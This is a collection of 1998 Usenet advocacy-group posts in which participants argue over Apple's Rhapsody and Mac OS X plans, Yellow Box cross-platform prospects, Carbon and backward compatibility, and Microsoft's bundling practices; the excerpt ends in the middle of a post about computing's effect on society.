sure. I certainly do know that he's managed to be several billion
dollars more productive in his lifetime then myself, so I guess
the benefit of the doubt ought to go his way. However, next
hardware, newton, rhap intel *SEEMS* to be a repition of a mistake
of one sort; no floppy, no HD on the NeXT cube, cheez modem, no
floppy on the iMac *SEEMS* to be a repeat of the previous error.
He *again* wants to SHOVE what's good for all of us even when
everyone tells him they want otherwise. He didn't seem to learn
the lesson of at least sometimes listening to your customers on
issues like this. (BTW, seems like a superfloppy 1.4/120MB would
have been a cool solution).
> : What if it turned out that intel : sales would have been a
> better money maker than PPC sales with the : mac os to the bottom
> line? Sure an off chance, but why forclose : on that chance.
> If it turned out to hurt sales, they could always : pull a
> PPCLicensing pull and end it that way.
> Why would Steve do that? Perhaps because he didn't want a legacy
> user base on Rhapsody?
Then he shouldn't have promoted the DUAL OS strategy (ala NT/win95
as he touted) in the first place. And I suppose *KILLING* rhap
1.0 won't create too much of a legacy user base?
> The "advocacy machine" has been amazingly good at ignoring what
> Apple has said it would do. Most recently Steve has said that
> Yellow Box has been folded into a larger Java stragegy. I'm not
> sure what that means, but I think it should be a cautionary note
> to Yellow Box developers. It may be that Steve is looking for
> a cheap cross-platform solution, rather than the best possible
> cross-platform solution.
You know, I think it's reasonable *NOT* to require developers to
try and be SJ mood readers and guess what his slight farts might
intonate for the future of their development plans. Going by
statements like "we plan on a dual os strategy akin to win95/NT"
seems a bit more reasonable, and in this case a typical apple garden
path.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 21 May 98 22:03:23 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B18A5541-13B972@207.217.155.37>
References: <joe.ragosta-2105981725040001@wil97.dol.net>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
Joe Ragosta wrote:
>10 years from now, I would hope that Carbon is
>history and everyone's doing YB development.
10 years ago, most people wished COBOL were dead. Yet COBOL continues to
the basis for lots of mission critical apps in lots of organizations.
The issue here is legacy applications, custom and mass market, that run on
Macs.
Blue Box on its own was a situation that Mac developers of all shapes and
sizes weren't ecstatic about in the Rhapsody picture. Carbon addresses
those concerns. But it won't be worth its atomic weight if it isn't
supported _indefinitely_, or for at least another 7 years, whichever comes
first.
The key strength that kept Apple afloat during the lean years was backward
compatibility. Users could just move software to a new faster Mac, and 90%
of the time, it just worked. Until Apple establishes tremendous staying
power in wider and different markets than its Mac base (and it hasn't yet),
backward compatibility must be the number one concern for survival. Mac
users won't move up unless and until they can take their data and or apps
with them.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: Tor Slettnes <tor@netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 21 May 1998 21:34:50 -0700
Organization: Adequate for its purpose
Sender: tor@jackpot.lan
Message-ID: <87ra1mylcl.fsf@jackpot.lan>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <tvyzpgcd8lf.fsf@cn1.connectnet.com>
Mime-Version: 1.0 (generated by tm-edit 7.108)
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>>>>> "Darin" == Darin Johnson <darin@usa.net.removethis> writes:
>>>>> "John" == "John Saunders" <jws@jws.ultranet.com> writes:
John> They've imbedded vital functionality into the operating
John> system.
Darin> I claim it's not a vital OS function. Just like word
Darin> processing is not. Because an "operating system" is a
Darin> fluid term, Microsoft is stretching it to its limits.
Depends on what you mean by an operating system.
A Windows 95/98 CD can probably be compared more closely to a Linux
distribution than to a Linux kernel. Debian 2.0, for instance,
includes KDE with it's integrated file manager/web browser. Plus
the LyX textprocessing package, and installers for Netscape and
StarOffice.
Of course, any Linux distribution offers many choices for word
processing, web browsers, and so on. Also, Linux is nowhere near a
desktop monopoly.
Darin> They gave it as an allowable option, not the only option.
Questionable. The alternative was to provide two alternative, and
"competitive" browsers - frankly, even that is going to be difficult.
Netscape is pretty much the only competitive browser to MSIE.
-tor
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
MIME-Version: 1.0
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References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
Message-ID: <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>
Date: Fri, 22 May 1998 05:18:39 GMT
NNTP-Posting-Date: Thu, 21 May 1998 22:18:39 PDT
Organization: @Home Network
In <3564A134.16A3@CONVEX.COM> Michael Peck wrote:
> Joe Ragosta wrote:
> > What exactly does Rhapsody fail to do?
>
> Run on my Linux box. Run on my FreeBSD box. Run on my Solaris box. Run
> on my HPUX box. Run on my BeOS box. Run on my [enter platform here].
>
>
How does that affect you? Are you Exemplar if not a developer? I've followed
threads posted here and other than a black piece of NeXT hardware
midadventure, I can't pigeonhole you. At one point you indicate you are a Mac
afficianado.
Where is the reward in crafting a cross-platform OS at Apple for MP? Why?
-r
From: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 22 May 1998 05:23:52 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <6k3258$md9$1@geraldo.cc.utexas.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com>
Charlie Mingo (aa829@ccn.cs.dal.ca) wrote:
: In article <6jrak9$936$1@geraldo.cc.utexas.edu>,
: kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
: I can play MPEG-encoded sound files on a 604 without any noticible affect
: on CPU speed (I am doing it as I type this), and of course regular audio
: CD's don't use any CPU time at all (all done in CD-ROM and fed as analog
: audio signal to sound-out port).
Yes, but my CPU is 10X slower. Multiply your CPU load times 10 and then
tell me that. Besides I was talking about reading a digital file
from hard disk. I never mentioned using a CD-ROM drive.
: > WYSIWYG and Unified Fonts: How do I insure that fonts on screen and in
: > my printer are the same?
: Use a printer that directly supports PDF? They mentioned diring the OS X
: graphics session that such printers exist, and presumably will become more
: common with OS X's arrival.
Could you point me to such printers? I'd be very interested!
: > Remote Display: Want to have a CPU farm for mammoth applications? Say
: > goodbye to efficient network computing.
: > Say hello to MS style
: > licensing for every machine.
: What does licensing have to do with remote hosting? You still have to
: license the back end on each machine, even if you use a single machine as
: the front end for all of them. Indeed, in programs that sell front and
: back-ends seperately (eg, Mathematica) it is the back-end that is most of
: the cost.
If there is an expensive app that is not used all the time, then you can
buy one copy and have multiple users share it. MS *greatly* discourages this
practice. It's very cost efficient, even if each copy costs more.
: > Visible insertion of EPS files: I consider a graphics editor to be
: > useless with visible insertion of .eps files. Will this be in OSX?
: The EPS preview will be visible.
If you can't see the .eps graphic in your edit window, then it is not
visible. Previewing is a stupid idea. The edit window should simply be
WYSIWYG. Change the zoom if you want to see a whole large page.
......................................................................
: Kurt D. Bollacker University of Texas at Austin :
: kdb@pine.ece.utexas.edu P.O. Box 8566, Austin, TX 78713 :
:....................................................................:
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 05:49:49 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356511FD.BD193ABF@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>
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NNTP-Posting-Date: 22 May 1998 05:54:38 GMT
Rex Riley wrote:
> How does that affect you? Are you Exemplar if not a developer?
I don't know if I follow. The only Exemplar I know of is a high-end
V-class Convex box.
> I've followed
> threads posted here and other than a black piece of NeXT hardware
> midadventure, I can't pigeonhole you. At one point you indicate you are a Mac
> afficianado.
>
> Where is the reward in crafting a cross-platform OS at Apple for MP? Why?
What, am I the only cross-platform tech here? I know that's bullshit. I
work on whatever's in front of me, and from time to time that's been an
SPP-UX Convex, an HP-UX workstation, a Solaris workstation, an AIX
workstation, a MacOS box, a Win95 box, a Windows NT box, a Linux box, a
FreeBSD box, and even a NeXTCube.
This isn't a point of pride, it's just a fact. I defy the pigeonhole
because (in the words of John Kheit) I'm a whore. I'll use whatever is
necessary at a given point in time and it doesn't matter to me what it
is as long as it has the tools I need to get my job done.
That's the reward, Rex. Cross-platform OS means ubiquitous computing. If
it's a *good* cross-platform OS, it means I'll be happy no matter where
I'm working, and that's my dream. If you want my honest opinion, I spit
on the attitude that insists on a particular vendor, machine, OS, or
processor. Sometimes, I've had to spit on myself to be consistent with
that opinion, and I've done it.
Most of my motivation for this opinion comes from spending five years as
an Apple slut banging the big drum and acting like a dumbass thinking
MacOS was the be-all, end-all of computing platforms. Nowadays I want to
get as far from that as possible
without sacrificing what I originally loved about the MacOS and
basically living as a bitter outcast.
I don't think Apple is the only company that can achieve my goals, but
I'm not so stupid as to turn away when the opportunity is at hand. I
would dearly love to see Apple deliver what I consider to be the Nirvana
of Computing, and if it happens I'll be the biggest supporter. But I
won't give up my brain just to realize a secondary dream when something
much bigger stands to be achieved, and if I have to write the OS and the
tools myself I'll be an Electric Monk for three years to make it happen.
Linus Torvalds isn't smarter than the rest of us, he just had the balls
to swallow hard and make it all happen. Anyone who doesn't learn that
lesson is doomed to fight the OS wars the rest of their life.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 06:12:05 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35651735.EACE59C7@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
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<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
<6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM>
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Rex Riley wrote:
> Is it...? I got the impression that SJ has been there done that. After 10
> years telling, building and pushing cross-platform development tools, SJ is
> out of the that business. I get the impression SJ is listening, engineering
> and marketing what developers have long been asking. If it is YB they want,
> they will get it. If it is cross-platform they want they will get that too.
Here's my impression: SJ has been there, done that, and doesn't
understand why it didn't work. He's frustrated, tired, and taking flak
from a *lot* of people who want answers, and they want them *now*.
SJ hasn't decided that the cross-platform computing platform is dead. SJ
has decided that he doesn't have all the answers, and he's exactly
right. If nothing else, the latest WWDC shows that SJ is *thinking*, and
he's thinking carefully. Nothing more encouraging could be taken from
the WWDC than that concept.
The problem is that SJ is running out of ideas and idealism. And SJ has
never been a businessman. He's worn-out being a one-man show, and he
needs somebody who won't spit on him to take up the cause and bring it
new life, new energy, and new maturity.
*That*, in my opinion, is why Apple never found a replacement CEO: that
person doesn't exist. SJ is in an impossible position because he has to
be 30 people at once.
> ..you know squeaky wheel gets the grease first? Apple's concentrating there
> first it looks.
That's just part of it, and it seems significant because it's a big
change from things past. I think we're going to see Jobs leaning on
Tevanian and Rubenstein and Co. much more heavily in the days to come;
the only way out of the current mess is for geniuses like those people
to work creatio ex nihilo and put Jobs back on his feet, the way those
kinds of people have done for him in every venture he's created to date.
The time has come to see what kind of people Jobs picks, and I think
they're going to do right by him.
I just can't tell how close it's going to be.
MJP
From: Rob Blessin <bhi1@ix.netcom.com>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody and Coca Cola Marketing Strategy
Date: Fri, 22 May 1998 00:09:19 -0600
Organization: Black Hole, Incorporatd
Message-ID: <3565168F.A5051C8D@ix.netcom.com>
Mime-Version: 1.0
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Hello NeXT/ Apple Community:
Looking at the world through the Steve Jobs inspired reality field.
From our point of view, Windows needs competition in the OS business,
why not kick there ass by creating Mac OS 10 Intel/ PPC. Kernal and the
drivers, how difficult is it really, it is 10 year old code, tweaked for
Intel now PPC.... heck we know we can write Intel drivers, amazingly a
few off the 3.3 NeXTSTEP drivers work on an Intel P233 laptop running
Rhapsody DR1.
Netscape, Rhapsody and Quicktime on Intel as well as PPC is jammin .
3rd party emulation by Insignia Softpc for 98 in Rhapsody.
3rd party Redbox emulator for running Mac applications on Intel like the
Executer application for NeXTSTEP.
Potential Chiat Day AD:
Windows Microsoft blue screen of death appears on your TV? , it asks if
you would like to try another operating system today and enter Rhapsody
boot on a Mac, Steve Jobs reboots it in the ad and then a stack of Macs
and Intels lights up running Rhapsody , the new thing, yep Microsoft the
race is on we are volunteering the idea to take over a little empty
space on those multi GB hardrives and the net, heck the World Wide Web
was invented in NEXTSTEP, you don't need it all. Then Wow em with the
Apple Quicktime Webcasting stuff I saw at the Keynote...
Yeh ,Steve, we want to change the world and we are tired of Microsoft
freshness dated skunk brew stuff, Rhapsody OS has class the Dom
Perignon of OS and clientel, the potential the be the alternative
competitive choice the a lot of people would try out,
been there done that .
Windows 95 is like being in a Pinto at the Indy 500 . Come back to the
light and try Rhapsody .
Best regards Rob Blessin
President
Black Hole , Incorporated
8501 E. Grand Ave.
Denver, CO 80237
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 06:27:38 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35651ADA.FEB13B57@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM> <PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
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NNTP-Posting-Date: 22 May 1998 06:32:27 GMT
Michael J. Peck wrote:
[cut]
> This isn't a point of pride, it's just a fact. I defy the pigeonhole
> because (in the words of John Kheit) I'm a whore. I'll use whatever is
> necessary at a given point in time and it doesn't matter to me what it
> is as long as it has the tools I need to get my job done.
Let me give you a quick example of what I mean. At one company with whom
I recently spoke, they have developed a high-availability middleware
layer for telecommunications. They run it on Solaris for development and
testing, but they deploy it on HPUX. Why? Hewlett-Packard is the only
solution that currently has an SS7 stack for their Service Control Point
network nodes to use.
They didn't choose Hewlett-Packard for marketshare, or for development
tools, or for any other preferential reason. HPUX is the *only* place
they could deploy their solution at the time. They didn't choose HPUX,
it chose them.
This situation is *extremely* common. Companies don't always get to
choose their solution, a lot of time it's forced on them for one reason
or another. What's their solution? Port to as many platforms as possible
so that you have the best possible chance of being right when the other
shoe drops.
See what I'm saying? You can't just say, "I'm going to stick with
platform X and make that my baby and put all my eggs in that basket."
Something's going to come along and make it impossible to stick to your
strategy: your vendor will go out of business (SGI) or your vendor will
be late with support for a critical technology (the Java fiasco) or your
vendor will be bought by competition and move in a different strategic
direction (Digital Equipment). The *only* way to be safe is to have a
cross-platform solution, and to do that most companies simply rewrite
their software (and rewrite and rewrite and rewrite).
That's what's so exciting about Yellow Box!! It *fixes* all of that by
providing not only a cross-platform solution, but an *excellent*
cross-platform solution. So when I hear that Yellow Box is just going to
be a great MacOS API, I want to vomit! What a waste!
[yuck, I'm going to bed]
MJP
From: SnowSim@halcyon.com (Simulated Snow)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: questions about device drivers for Rhapsody and blue box
Date: Thu, 21 May 1998 21:05:56 -0700
Organization: Baloney Research Institute
Message-ID: <SnowSim-2105982105560001@blv-ux100-ip8.nwnexus.net>
References: <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchica <rex-2005982242410001@192.168.0.3> <6k09dq$11d@gazette.bcm.tmc.edu> <carl.gustafson-2105980919210001@stelis.ece.drexel.edu>
In article <carl.gustafson-2105980919210001@stelis.ece.drexel.edu>,
carl.gustafson@no.spam.welcome (Carl Gustafson) wrote:
> In article <6k09dq$11d@gazette.bcm.tmc.edu>, rick@mft.neusc.bcm.tmc.edu
> (Rick Gray) wrote:
>
> > We recently received Rhapsody DR2 and are running it on a new G3
[snip]
> Based on what I've gleaned from this year's WWDC and last, here's how I
> understand it (and I'm not infallible, even though I tell my wife I am):
[snip...snip]
> The business of having to write drivers to access the frame grabbers is a
> pain, since my access are of the <find the base address/read bytes/write
> bytes> simple-minded style, and don't need timimg considerations,
> interrupts, etc. A suite of APIs that operate along the lines of the file
> manager would go a long way to dealing with my needs...
sounds like a job for PERL/perl which is available, I understand, on Rhapsody
as well as all the "other" OS's (Mac/Unix/WinWhatever)
a little object oriented stuff (perl style of course) should do most of the job
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 22 May 1998 03:33:02 -0500
Organization: KAOS
Message-ID: <199805220333021671107@sdn-ts-001txhousp13.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com> <joe.ragosta-1705981941220001@elk33.dol.net> <3560AE4A.E39BC012@spamtoNull.com> <B186B562-1604F6@204.31.112.119>
Phil Brewster wrote:
> But Mac users have nothing to complain about wrt the shift from Rhapsody
> PPC to MacOS X, aside from the minor irritating detail that they may need
> to buy new Apple G3 hardware in order to be able to use it at all (if the
> currently announced plans are accurate, that is -- basically, Apple has
> 'committed' to MacOS X on G3s only at this point, as near as I can tell,
> with promises to not leave existing 603e and 604e users in the lurch still
> remaining rather vague on the PPC side thus far; older 68k and 601 PPC Mac
> users were already on the 'unsupported list' for Rhapsody from Day 1, so
> for them, not much has changed either way in this regard, i.e., they'll
> just keep on using MacOS 7.x or 8.x).....
Though 68K Mac users were unsupported by Rhapsody from Day 1, the status
of NuBus PPC users was as unclear then as pre-G3 users' is now. It took
a long time for Apple to finally fess up and announce that NuBus
PowerMacs would not run Rhapsody, and I'm not even sure that Apple did
officially announce it. As I remember it, word just sort of leaked out
that our suspicions were correct. Also, Apple may have its ass covered
legally if Rhapsody 1.0 works on all systems shipped after 1/7/97, as
that is literally all they promised. It remains to be seen how they
will weigh goodwill against time, cost and technical obstacles.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Fri, 22 May 1998 03:33:08 -0500
Organization: KAOS
Message-ID: <199805220333081671419@sdn-ts-001txhousp13.dialsprint.net>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <3561D9A5.776AD633@milestonerdl.com>
m rassbach wrote:
> spammers@ruin.the.internet.channelu.com wrote:
>
> > I am having a hard time thinking of solid financial reasons why Apple
> > should support a Rhapsody for Intel beyond 1.0.
>
> Not unless they start making custom Intel hardware. Remember- Apple is a
> 'hardware company'....
Which of course would amount to the same as offering no Rhapsody/Intel
at all (aside from advantages that come simply from being an Intel
customer -- cost, co-op ads, possibly chip performance). Unless Windows
also ran on the Macintel. Hmm.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Fri, 22 May 1998 03:33:09 -0500
Organization: KAOS
Message-ID: <199805220333091671511@sdn-ts-001txhousp13.dialsprint.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk> <6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com> <joe.ragosta-1805981651520001@wil113.dol.net> <6jq8er$mhk$6@news.xmission.com> <6jq95g$8qf$1@news.seicom.net> <6jse4l$cqh$2@msunews.cl.msu.edu> <3561BDE5.191D7263@milestonerdl.com> <6jsk1p$r9l$1@msunews.cl.msu.edu> <3561E871.8C3D649F@milestonerdl.com>
m rassbach wrote:
> Apple's fate is 10% or less of the market....for at least 2 more years.
10% would be astoundingly good!
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 22 May 1998 03:33:12 -0500
Organization: KAOS
Message-ID: <199805220333121671711@sdn-ts-001txhousp13.dialsprint.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
Michael Peck wrote:
> Joe Ragosta wrote:
>
> > What exactly does Rhapsody fail to do?
>
> Run on my Linux box. Run on my FreeBSD box. Run on my Solaris box. Run
> on my HPUX box. Run on my BeOS box. Run on my [enter platform here].
Are you advocating Rhapsody everywhere or Yellow Box everywhere? I
thought it was the latter (despite the title of the thread) -- I
remember "APIs everywhere." It seems Rhapsody/Mac OS X goes a long way
toward "doing it all" -- Mac, OpenStep, Unix, Java, even x86 OSes in
emulation -- on PPC. Yellow Box could bring QuickTime and Java (and
maybe even a rewritten x86 emulator) everywhere, undermine Microsoft and
allow everyone to code happily ever after. Which of course is why it
will never happen.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: "Phil Brewster" <pjbrew@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 22 May 98 02:44:01 -0600
Organization: ICGNetcom
Message-ID: <B18A96F7-13AEA6@204.31.112.105>
References: <6k217h$5o7$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://nntp.ix.netcom.com/comp.sys.windows.advocacy,
nntp://nntp.ix.netcom.com/comp.sys.next.advocacy,
nntp://nntp.ix.netcom.com/alt.destroy.microsoft,
nntp://nntp.ix.netcom.com/comp.os.linux.advocacy,
nntp://nntp.ix.netcom.com/comp.os.ms-windows.advocacy,
nntp://nntp.ix.netcom.com/comp.os.ms-windows.nt.advocacy
On Thu, May 21, 1998 2:01 PM, John Rudd <mailto:jrudd@cygnus.com> wrote:
>In <SCOTT.98May20165902@slave.doubleu.com> Scott Hess wrote:
>>
>> Don't go there - I think too much, and periodically, for lack of
>> something better to think about, I ponder the value of computing in
>> general. I always find some way to distract myself, though, because
>> when it comes right down to it, a _lot_ of what we do in computing
>> isn't helpful. It's neat, it's fun, it _seems_ helpful, but in the
>> final analysis it isn't.
>>
>> Periodically I'll see a very good op-ed type commentary on how the
>> computerization of society is removing all the friction which allows
>> us to _relate_. On the surface, I have to agree, but digging down
>> deeper, I'm not sure I do. What if it turns out that rather than
>> GUI's and the like being lubricants for economies, the entire thing
>> turns out to be friction for economies? How can you tell one from the
>> other? Things _seem_ to move very fast, but what if the fast-moving
>> things aren't really the important things?
>>
>>
>
>There are times where I ponder the same thing(s).. though, more often than
>pondering the effect of the computerization of society, I ponder the role
>that it plays specifically in my life (until I got married, there were
quite
>a few times I pondered throwing it all out the window and joining a
>monestary.. I still wonder if at times all of the things I enjoy about
>computing aren't really just hollow surface things and that deep down I'd
be
>a lot happier doing something that was more spiritually pleasing.. but the
>monk thing is pretty much out of the quesiton now that I'm married (and
not
>willing to leave her ;-)).
>
>I think in a lot of ways, though, you're absolutely right. Lots of people
>call this "the information age" because of the way computing facilitates
>information transfer. But, I think really computing has done more to
enable
>the "image age" than the information age. And the two clash where you
>have
>"the image of information". By that I don't mean digital pictures per se,
>but the fact that the image is not the substance. We often see things
(say,
>for example, all of the wild speculation about what the WWDC
>announcements
>really mean to Rhapsody/Intel and the BSD layer) that appear to be factual
>news, or even things that don't appear to be factual news but we read them
>so
>much that we are left with the subconcious impression that they are in
>fact
>news, because computing makes it so easy to not just spread valid
>information, but misinformation as well. Especially unintentional
>misinformation (ie. presenting rumors as facts, not because you want to
>misinform, but because you _don't_know_ it's a rumor).
>
>So we're left with this impression that we're so much more in touch with
>the
>facts and that we communicate the truth so much better with all of our
>fellow
>humans.. when really it's like this big costume ball where instead of
being
>confronted with fake monsters that conceal real people, we're confronted
>with
>images that appeal to our sense of truth and reality, but that conceal or
>obfuscate the true nature of their information.
>
>That means what we're doing is not lubricating the engine of society and
>economy, but pouring something more along the lines of linseed oil in the
>engine. Sure, at first it might lubricate the engine, but as time goes by
>the oil will turn to resin and then sieze the engine. How much longer
before
>business is lost by people putting their faith in the image of the
>information, instead of bothering to find the substance of the
information?
>(how much of that has happened already?)
>
>(incidentally, that is probably the real root of why I don't find 'mere
>users' to be at all innocent.. if they are infact being lead by the nose,
>then it is their being willing to put their faith in the image of
information
>presented by those leading them that allows the situation to continue. If
>from day one DOS users had said "This is crap!" and refused to continue
>using
>it and upgrading it, MS wouldn't be where they are today)
>
>I'll stop here though, at the risk of rambling and boring people to death
;-)
>
>--
The questions you and Scott raise about the value of computers and
computing in the society and culture at large are ones that I've often
pondered (and bored people to death with on Usenet.... <g>), as well.
The points you make about there being a potentially deepening confusion
between images and information go to the crux of the matter, I think. IOW,
are computers becoming little more than postmodern 'boob tubes', instead of
truly serving the function of being accessible 'information appliances' for
the general user?.... The 'virtual reality' aspect of digital information,
in particular, is an issue that raises some troubling questions in this
regard, as you say. Namely: How much faith can we have in what are
essentially holograms? And what does it say about us when we _do_ have
faith in them and accept them as true (at 'interface value', as it
were....), with fewer and fewer non-digital means of independent
verification for the digitized facts? ....
FWIW, one of the better commentaries I've seen on the subject in the realm
of education, regarding the questionable impact that computers are having
